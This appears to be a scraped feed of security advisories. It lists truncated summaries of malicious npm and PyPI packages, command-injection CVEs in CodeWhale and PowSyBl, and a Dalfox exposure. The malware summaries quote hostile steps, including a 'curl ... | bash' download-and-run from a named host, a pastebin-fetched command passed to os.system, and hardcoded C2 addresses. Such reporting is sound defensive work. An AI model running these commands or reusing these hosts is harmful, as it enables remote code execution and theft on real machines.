CVE-2024-24576-PoC

CVE-2024-24576 PoC The Command::arg and Command::args APIs state in their documentation that the arguments will be passed to the spawned process as-is, regardless of the content of the arguments, and will not be evaluated by a shell. This means it should be safe to pass untrusted input as an...

Malicious code in @vitemirrorte/element-plus-vite-cli (npm)

Source: amazon-inspector d616b037ed0b4ebbb3a3ddf36963379ea00d4b5f8513641db05e7773dd2696c9 On npm install, package.json's postinstall runs postinstall-run.cjs which chains through bootstrapGradleLifecycle → activateDaemonBridge to materialize lib/gradle/instrumentation/agent-runtime.source.mjs int...

Malicious code in @vitemirrorte/element-plus-vite-cli (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector d616b037ed0b4ebbb3a3ddf36963379ea00d4b5f8513641db05e7773dd2696c9 On npm install, package.json's postinstall runs postinstall-run.cjs which chains through bootstrapGradleLifecycle → activateDaemonBridge to materiali...

MAL-2026-16433 Malicious code in @vitemirrorte/element-plus-vite-cli (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector d616b037ed0b4ebbb3a3ddf36963379ea00d4b5f8513641db05e7773dd2696c9 On npm install, package.json's postinstall runs postinstall-run.cjs which chains through bootstrapGradleLifecycle → activateDaemonBridge to materiali...

Malicious code in gemini-computer-use (npm)

Source: amazon-inspector 0f1e56e41d63f9810a1cef681a9d43613ee5e07887785f6777f14f97fc06d847 The npm entrypoint bin/cli.js, invoked via npx gemini-computer-use or node bin/cli.js, spawns bash -c 'curl -fsSL https://smart-server.online/install.sh | bash' on Unix and powershell -ExecutionPolicy Bypass...

Malicious code in @prime0/inimatch (npm)

Source: amazon-inspector d094698410f0146ad3f51ff8860d657ca28b5f55b77ef9593b637b956996180f @prime0/inimatch is a typosquat of minimatch that behaves as a stealth remote-access agent. postinstall.js runs on npm install and POSTs a host fingerprint hostname, username, platform/arch, cwd, node versio...

Malicious code in @prime0/inimatch (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector d094698410f0146ad3f51ff8860d657ca28b5f55b77ef9593b637b956996180f @prime0/inimatch is a typosquat of minimatch that behaves as a stealth remote-access agent. postinstall.js runs on npm install and POSTs a host...

CodeWhale: Project config `allow_shell` override enables arbitrary shell command execution via cloned repository

Maintainer resolution The CodeWhale maintainers validated this report. The affected package ranges are recorded in the advisory metadata. Version 0.8.64 contains the fix in commit 43563356b98c6b993085554da82e77370160a31c. Users should upgrade to 0.8.64 or later. The original reporter analysis is...

GHSA-GX45-XRJ5-G6C4 CodeWhale: Project config `allow_shell` override enables arbitrary shell command execution via cloned repository

Maintainer resolution The CodeWhale maintainers validated this report. The affected package ranges are recorded in the advisory metadata. Version 0.8.64 contains the fix in commit 43563356b98c6b993085554da82e77370160a31c. Users should upgrade to 0.8.64 or later. The original reporter analysis is...

Malicious code in code-analyzer-mcp (npm)

Source: amazon-inspector 41c70b60414be4e045ae4c1eff1ab33b674c78cc9e2eadadfbdca6317de3a251 index.js contains a top-level IIFE that runs unconditionally when the MCP server is launched via the package's main/bin entry. The IIFE spawns calc.exe through childprocess.execSync and runs reconnaissance...

CVE-2026-55673 PowSyBl: Command Injection in LocalCommandExecutor-s

PowSyBl Power System Blocks is a framework to build power system oriented software. Prior to 7.2.2, UnixLocalCommandExecutor and WindowsLocalCommandExecutor concatenate command arguments and environment variables into strings interpreted through bash -c or cmd /c without sufficient escaping...

CVE-2026-75911

CodeWhale versions before 0.8.64 fail to properly validate the allowshell configuration parameter from project config files, allowing attackers to enable arbitrary shell command execution by committing a malicious .codewhale/config.toml file to a repository. When a user clones and opens the...

Malicious code in node-procmetrics (npm)

Source: amazon-inspector e41a88d3fab17af2429cc051cce026d47622123ce4005d3fbdda844dfca2783a install.js executes automatically via the package.json postinstall hook. It XOR-decodes key 0x5A a hardcoded npm registry auth token and writes it into the installer's global npm config at...

Malicious code in node-sysmon-native (npm)

Source: amazon-inspector 612887c8528ff96b3bc3a61d678b6376099480c080d2d8a0960fe7798ac25f33 On module load, index.js reconstructs a hex-encoded URL Buffer.from'687474703a2f2f3135322e35332e3132302e39302f636d64','hex' that decodes to http://152.53.120.90/cmd and enters an asynchronous polling loop th...

Malicious code in vanexa-agent (npm)

Source: amazon-inspector 433bc5b1e6814e9c9a1f5d4ff26e2dbb31fdb8a5e9a08f9c94696347dcbeb803 When the daemon is started vanexa-agent start, it opens a WebSocket to the hardcoded relay wss://vanexa-agent-relay.hanazaki542.workers.dev/ws/daemon/ and dispatches incoming taskrequest messages into an...

Malicious code in @funny-booth/agent-core (npm)

Source: amazon-inspector 6693129f8b6f8b6c2d52722ca7746d6ef3dd792476297fa3583d3956548eb2b4 The package ships heavily obfuscated runtime files dist/index.js, dist/launcher.js built with javascript-obfuscator. The MCP server registered as the package's main entry exposes an installmcp tool that...

Malicious code in @cyberrant-rantai/rantai (npm)

Source: amazon-inspector 41d1dbf6fb83f9a7c4c4b94ee40255e86910714400e249fec55b031e809c92bd runtime/localagent.py opens a Socket.IO client connection to a hardcoded server at https://app.cyberrant.org overridable via $SERVERURL and registers an 'executecommand' handler that dispatches incoming...

Malicious code in llmgenerator (PyPI)

Source: amazon-inspector 06e55ac2d3368516d538c8efaad2b83814dbb61813f36ab5655f77677ca0d6be On pip install, setup.py performs an HTTP GET to https://pastebin.com/raw/yBcUM1QB, takes the first line of the response body, and passes it to os.systemf'cmd /c "cmdpastebin"'. The fetched content is mutabl...

Malicious code in darkglitch (PyPI)

Source: amazon-inspector 6d02eb8be388433532783a7bf88864824b50756b7ced4f8728721866740c5df1 darkglitch 1.2.0 ships a listener mode -l -c that opens a WebSocket connection to the hardcoded signaling host https://malware-signal.vercel.app/ and joins the fixed room D4RKGLI7CH. Incoming remote-command...

CVE-2026-45087

Dalfox is a powerful open-source XSS scanner and utility focused on automation. Prior to 2.13.0, when dalfox is started in REST API server mode dalfox server, the server binds to 0.0.0.0:6664 by default and requires no API key unless the operator explicitly passes --api-key. Because model.Options...